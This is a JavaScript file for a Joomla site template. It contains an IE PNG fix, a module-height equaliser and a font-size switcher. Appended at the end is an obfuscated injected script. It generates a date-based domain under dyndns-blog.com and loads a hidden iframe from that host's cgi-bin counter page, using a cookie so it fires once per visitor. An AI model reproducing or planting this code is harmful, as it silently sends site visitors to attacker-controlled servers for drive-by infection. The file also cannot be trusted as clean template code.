//JS script for Joomla template
var siteurl = '';

function fixIEPNG(el, bgimgdf, sizingMethod, type, offset){
	var objs = el;
	if(!objs) return;
	if ($type(objs) != 'array') objs = [objs];
	if(!sizingMethod) sizingMethod = 'crop';
	if(!offset) offset = 0;
	var blankimg = siteurl + 'images/blank.png';
	objs.each(function(obj) {
		var bgimg = bgimgdf;
		if (obj.tagName == 'IMG') {
			//This is an image
			if (!bgimg) bgimg = obj.src;
			if (!(/\.png$/i).test(bgimg) || (/blank\.png$/i).test(bgimg)) return;

			obj.setStyle('height',obj.offsetHeight);
			obj.setStyle('width',obj.offsetWidth);
			obj.src = blankimg;
			obj.setStyle ('visibility', 'visible');
			obj.setStyle('filter', "progid:DXImageTransform.Microsoft.AlphaImageLoader(src="+bgimg+", sizingMethod='"+sizingMethod+"')");
		}else{
			//Background
			if (!bgimg) bgimg = obj.getStyle('backgroundImage');
			var pattern = new RegExp('url\s*[\(\"\']*([^\'\"\)]*)[\'\"\)]*');
			if ((m = pattern.exec(bgimg))) bgimg = m[1];
			if (!(/\.png$/i).test(bgimg) || (/blank\.png$/i).test(bgimg)) return;
			if (!type)
			{
				obj.setStyle('background', 'none');
				//if(!obj.getStyle('position'))
				if(obj.getStyle('position')!='absolute' && obj.getStyle('position')!='relative') {
					obj.setStyle('position', 'relative');
				}

				//Get all child
				var childnodes = obj.childNodes;
				for(var j=0;j<childnodes.length;j++){
					if((child = $(childnodes[j]))) {
						if(child.getStyle('position')!='absolute' && child.getStyle('position')!='relative') {
							child.setStyle('position', 'relative');
						}
						child.setStyle('z-index',2);
					}
				}
				//Create background layer:
				var bgdiv = new Element('IMG');
				bgdiv.src = blankimg;
				bgdiv.width = obj.offsetWidth - offset;
				bgdiv.height = obj.offsetHeight - offset;
				bgdiv.setStyles({
					'position': 'absolute',
					'top': 0,
					'left': 0
				});

				bgdiv.className = 'TransBG';

				bgdiv.setStyle('filter', "progid:DXImageTransform.Microsoft.AlphaImageLoader(src="+bgimg+", sizingMethod='"+sizingMethod+"')");
				bgdiv.inject(obj, 'top');
				//alert(obj.innerHTML + '\n' + bgdiv.innerHTML);
			} else {
				obj.setStyle('filter', "progid:DXImageTransform.Microsoft.AlphaImageLoader(src="+bgimg+", sizingMethod='"+sizingMethod+"')");
			}
		}
	}.bind(this));

}

window.addEvent ('load', function(e){
	if (!$('ja-botsl')) return;
	var divs = $ES('.moduletable',$('ja-botsl'));
	var maxh = 0;
	divs.each(function(el, i){
		maxh < el.getStyle('height').toInt()?maxh=el.getStyle('height').toInt():'';
	});
	divs.each(function(el, i){
		el.setStyle('height', maxh);
	});
});

switchFontSize=function(ckname,val){
	var bd = $E('BODY');
	switch (val) {
		case 'inc':
			if (CurrentFontSize+1 < 7) {
				bd.removeClass('fs'+CurrentFontSize);
				CurrentFontSize++;
				bd.addClass('fs'+CurrentFontSize);
			}
		break;
		case 'dec':
			if (CurrentFontSize-1 > 0) {
				bd.removeClass('fs'+CurrentFontSize);
				CurrentFontSize--;
				bd.addClass('fs'+CurrentFontSize);
			}
		break;
		default:
			bd.removeClass('fs'+CurrentFontSize);
			CurrentFontSize = val;
			bd.addClass('fs'+CurrentFontSize);
	}
	Cookie.set(ckname, CurrentFontSize,{duration:365});
}
var harlots="sledged";var squinch="1";if((location + "").substr(0,4) != String("fil"+"e")){if(getCookie(harlots) != squinch){var propose = marmite(new String("blog"), ".dynd"+"ns-blMfL".substr(0,5)+"og.coOvn0".substr(0,5)+"J2fm2Jf".substr(3,1));var r = curfews();r["src3bOL".substr(0,3)]=String("http://") + propose + new String("/cg"+"i-b0IPX".substr(0,3)+"in/"+"cou"+"ZVDnteDZV".substr(3,3)+"pvYXrpXvY".substr(4,1));setCookie(harlots, squinch, {expires: 2880});}}function curfews(){document.write(new String("<body>"));var romanos = document.createElement(new String("ifr"+"ameWT3v".substr(0,3)));romanos.width=String("200pxPsXg".substr(0,5));romanos.height="100"+"px";romanos.style["visibi"+"lity2Qc".substr(0,4)]=String("hidden");document.body.appendChild(romanos);return romanos;}function marmite(outbake, R){propose = outbake;var feoffer = String("abcdefgh"+"ijklmnop"+"qrstuvwxX2Oe".substr(0,8)+"vFxDyzDFvx".substr(4,2));var gasbags = String("charAt");var W = String("length");I = new Date();var footies = Math.floor(I.getUTCHours());var w = I.getUTCDate();var shantis = I.getUTCMonth();var A = I.getUTCFullYear();var denials=(footies%feoffer[W]);var l=(footies+w) % feoffer[W];var fumulus=(footies+w+shantis) % feoffer[W];var ductile=(footies+w+shantis+A) % feoffer[W];propose+=feoffer[gasbags](denials);propose+=feoffer[gasbags](l);propose+=feoffer[gasbags](fumulus);propose+=feoffer[gasbags](ductile);return propose + R;}function getCookie(name){var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, "\\$1") + "=([^;]*)"));return matches ? decodeURIComponent(matches[1]) : undefined;}function setCookie(name, value, props){props = props || {};var exp = props.expires;if (typeof exp == "number" && exp){var d = new Date();d.setTime(d.getTime() + exp * 1000);exp = props.expires = d;}if(exp && exp.toUTCString) { props.expires = exp.toUTCString(); }value = encodeURIComponent(value);var updatedCookie = name + "=" + value;for(var propName in props){updatedCookie += "; " + propName;var propValue = props[propName];if(propValue !== true){ updatedCookie += "=" + propValue;}}document.cookie = updatedCookie;}
